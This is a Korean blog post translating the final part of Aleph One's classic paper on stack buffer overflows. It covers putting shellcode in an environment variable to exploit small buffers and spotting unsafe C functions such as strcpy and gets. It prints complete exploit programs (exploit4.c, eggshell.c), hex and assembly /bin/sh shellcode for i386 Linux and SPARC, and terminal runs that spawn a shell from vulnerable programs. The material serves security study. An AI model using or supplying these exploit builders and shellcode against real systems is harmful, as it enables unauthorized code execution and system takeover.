일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 해킹 공부
- Protostar
- write up
- writeup
- CTF
- 버퍼오버플로우
- 해설
- 시스템해킹
- 리버싱
- Aleph One
- reversing
- 시스템
- cryptography
- 정답
- 카이사르
- 번역
- picoCTF
- general skills
- #picoCTF2018
- grep
- KOISTUDY
- WEB
- dreamhack
- 스택
- picoCTF2018
- Smashing The Stack For Fun And Profit
- #hacking
- forensics
- Hxd
- 리눅스
- Today
- Total
Security || AI
[시스템 공부] Smashing The Stack For Fun And Profit (최종) 번역 본문
[시스템 공부] Smashing The Stack For Fun And Profit (최종) 번역
보안&인공지능 2018. 11. 5. 11:24Small Buffer Overflows
작은 버퍼오버플로우
~~~~~~~~~~~~~~~~~~
버퍼오버플로우하려는 버퍼가 너무 작아 쉘코드를 넣기에도 맞지 않는 경우가 생길 것이고, 우리의 코드의 주소를 덮어쓰는 것이 아닌 명령들로 반환 주소들을 덮어쓸 수 있거나, 문자열 앞에 채우는NOP들의 수가 너무 적어 그들의 주소를 맞추기 어려울 때가 있다. 이런 프로그램들로부터 쉘을 얻으려면 다른 방법을 사용해야 한다. 이 특별한 접근은 프로그램의 환경 변수에 접근할 때만 작동할 수 있다.
우리가 할 것은 우리의 쉘코드를 환경 변수에 위치시키고, 버퍼를 메모리에 있는 변수의 주소로 오버플로우하는 것이다. 이 방법은 쉘 코드를 포함하는 환경 변수를 원하는 크기로 만들 수 있으므로 익스플로잇 방법의 변경도 증가시키다.
환경 변수들은 프로그램이 시작할 때, 스택의 가장 위에 저장되는데, setenv()의 어떠한 변경은 다른 곳으로 할당된다. 스택의 시작 부분은 다음과 같다:
<strings><argv pointers>NULL<envp pointers>NULL<argc><argv><envp>
우리의 새로운 프로그램은 나머지의 쉘코드와 NOP명령들을 포함한 변수를 취한다. 우리의 새로운 프로그램은 아래와 같다”
exploit4.c
------------------------------------------------------------------------------
#include <stdlib.h>
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x\n", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}
------------------------------------------------------------------------------
새로운 익스플로잇을 취약한 테스트 프로그램에 시도해보자.
------------------------------------------------------------------------------
[aleph1]$ ./exploit4 768
Using address: 0xbffffdb0
[aleph1]$ ./vulnerable $RET
$
------------------------------------------------------------------------------
매력적으로 작동한다. 이제 xterm으로 시도해보자:
------------------------------------------------------------------------------
[aleph1]$ export DISPLAY=:0.0
[aleph1]$ ./exploit4 2148
Using address: 0xbffffdb0
[aleph1]$ /usr/X11R6/bin/xterm -fg $RET
Warning: Color name
"
Warning: some arguments in previous message were lost
$
------------------------------------------------------------------------------
첫번째 시도로 성공하였다! 성공할 수 있는 가능성이 확실히 늘었다. 이용하려는 프로그램과 얼마나 많은 환경 데이터를 비교함에 따라 주소는 낮아 질 수도, 높아 질 수도 있다. 양의 오프셋과 음의 오프셋 둘 다 실험해 보아라.
Finding Buffer Overflows
버퍼 오버플로우 찾기
~~~~~~~~~~~~~~~~~~~
앞서 말했듯이, 버퍼오버플로우는 다룰 수 있는 정보보다 더 많이 채움으로써 일어난다. C는 문자열길이를 확인하지 않기 때문에, 오버플로우는 문자형 배열의 끝을 지나 기록하면서 발생한다. 표준 C 라이브러리는 문자열 길이의 한계를 체크하지 않고, 문자열을 복사하고, 추가하는 기능들을 제공한다. 이는 strcat(), strcpy(), sprint()와 vsprintf()를 포함한다. 이 기능들은 null로 종료되는 문자열에서 작용하고, 받은 문자열로부터 오버플로우를 확인하지 않는다. gets는 개행 문자나 EOF가 나올때까지 표준 입력으로부터 한 줄을 읽어서 버퍼에 기록한다. 이것은 버퍼오버플로우를 체크하지 않는다. scanf와 같은 함수 종류들은, 만약 공백 문자가 아닌 문자열(%s)을 매치시키거나, 명시된 세트(%[])로부터 공백이 아닌 문자들을 매칭시키고, char포인터로 정해진 배열들이 문자열 모두를 받아드릴 수 있을 만큼 크지 않고, 최대 필드 폭을 선택적으로 정의하지 않는다면 문제가 발생할 수 있다. 이러한 기능의 대상이 정적 크기의 버퍼이고, 다른 인수가 사용자 입력에서 파생된 경우 버퍼오버플로우를 이용할 수 있는 가능성이 높다.
우리가 찾은 다른 일반적인 프로그래밍 구성은 한 번에 한 문자를 표준 입력 또는 일부 파일에서 버퍼로 읽는데 사용하는 while 반복을 사용하여 줄 끝, 파일 끝 또는 다른 구분 기호에 도달할 때까지 사용한다. 이러한 유형의 구조는 일반적으로 getc(), fgetc() 또는 getchar() 중 하나를 사용한다. 루프에 오버플로우에 대하나 명확한 검사가 없는 경우 이러한 프로그램을 쉽게 활용할 수 있다.
결론적으로 grep(1)은 우리의 친구이다. 무료 운영체제와 그 기능들을 손쉽게 이용할 수 있다. 이 사실은 많은 보편적인 운영체제 유틸리티가 무료 운영체제와 동일한 소스에서 파생된다는 것을 알게 되면 매우 흥미로워진다.
Appendix A – Shellcode for Different Operating Systems/Architectures
부록 A – 다른 운영 체제들/아키텍처를 위한 쉘코드
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
i386/리눅스
------------------------------------------------------------------------------
jmp 0x1f
popl %esi
movl %esi,0x8(%esi)
xorl %eax,%eax
movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
leal 0x8(%esi),%ecx
leal 0xc(%esi),%edx
int $0x80
xorl %ebx,%ebx
movl %ebx,%eax
inc %eax
int $0x80
call -0x24
.string \"/bin/sh\"
------------------------------------------------------------------------------
SPARC/솔라리스
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
ta 8
xor %o7, %o7, %o0
mov 1, %g1
ta 8
------------------------------------------------------------------------------
SPARC/SunOS
------------------------------------------------------------------------------
sethi 0xbd89a, %l6
or %l6, 0x16e, %l6
sethi 0xbdcda, %l7
and %sp, %sp, %o0
add %sp, 8, %o1
xor %o2, %o2, %o2
add %sp, 16, %sp
std %l6, [%sp - 16]
st %sp, [%sp - 8]
st %g0, [%sp - 4]
mov 0x3b, %g1
mov -0x1, %l5
ta %l5 + 1
xor %o7, %o7, %o0
mov 1, %g1
ta %l5 + 1
------------------------------------------------------------------------------
Appendix B – Generic Bugger Overflows Program
부록 B – 일반적인 버퍼오버플로우 프로그램
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Shellcode.h
------------------------------------------------------------------------------
#if defined(__i386__) && defined(__linux__)
#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
#elif defined(__sparc__) && defined(__sun__) && defined(__svr4__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08"
"\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#elif defined(__sparc__) && defined(__sun__)
#define NOP_SIZE 4
char nop[]="\xac\x15\xa1\x6e";
char shellcode[] =
"\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e"
"\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0"
"\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff"
"\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01";
unsigned long get_sp(void) {
__asm__("or %sp, %sp, %i0");
}
#endif
------------------------------------------------------------------------------
eggshell.c
------------------------------------------------------------------------------
/*
* eggshell v1.0
*
* Aleph One / aleph1@underground.org
*/
#include <stdlib.h>
#include <stdio.h>
#include "shellcode.h"
#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
void usage(void);
void main(int argc, char *argv[]) {
char *ptr, *bof, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE;
while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF)
switch (c) {
case 'a':
align = atoi(optarg);
break;
case 'b':
bsize = atoi(optarg);
break;
case 'e':
eggsize = atoi(optarg);
break;
case 'o':
offset = atoi(optarg);
break;
case '?':
usage();
exit(0);
}
if (strlen(shellcode) > eggsize) {
printf("Shellcode is larger the the egg.\n");
exit(0);
}
if (!(bof = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
addr = get_sp() - offset;
printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n",
bsize, eggsize, align);
printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset);
addr_ptr = (long *) bof;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i += NOP_SIZE)
for (n = 0; n < NOP_SIZE; n++) {
m = (n + align) % NOP_SIZE;
*(ptr++) = nop[m];
}
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
bof[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(bof,"BOF=",4);
putenv(bof);
system("/bin/sh");
}
void usage(void) {
(void)fprintf(stderr,
"usage: eggshell [-a <alignment>] [-b <buffersize>] [-e <eggsize>] [-o <offset>]\n");
}
------------------------------------------------------------------------------
'Hacking&Security > 시스템[System]' 카테고리의 다른 글
pwntool 설치하기 (0) | 2021.01.03 |
---|---|
[시스템 공부] Smashing The Stack For Fun And Profit 번역본 PDF (3) | 2018.11.05 |
[시스템 공부] Smashing The Stack For Fun And Profit (4) 번역 (0) | 2018.11.05 |
[시스템 공부] Smashing The Stack For Fun And Profit (3) 번역 (0) | 2018.11.05 |
[시스템 공부] Smashing The Stack For Fun And Profit (2) 번역 (0) | 2018.10.29 |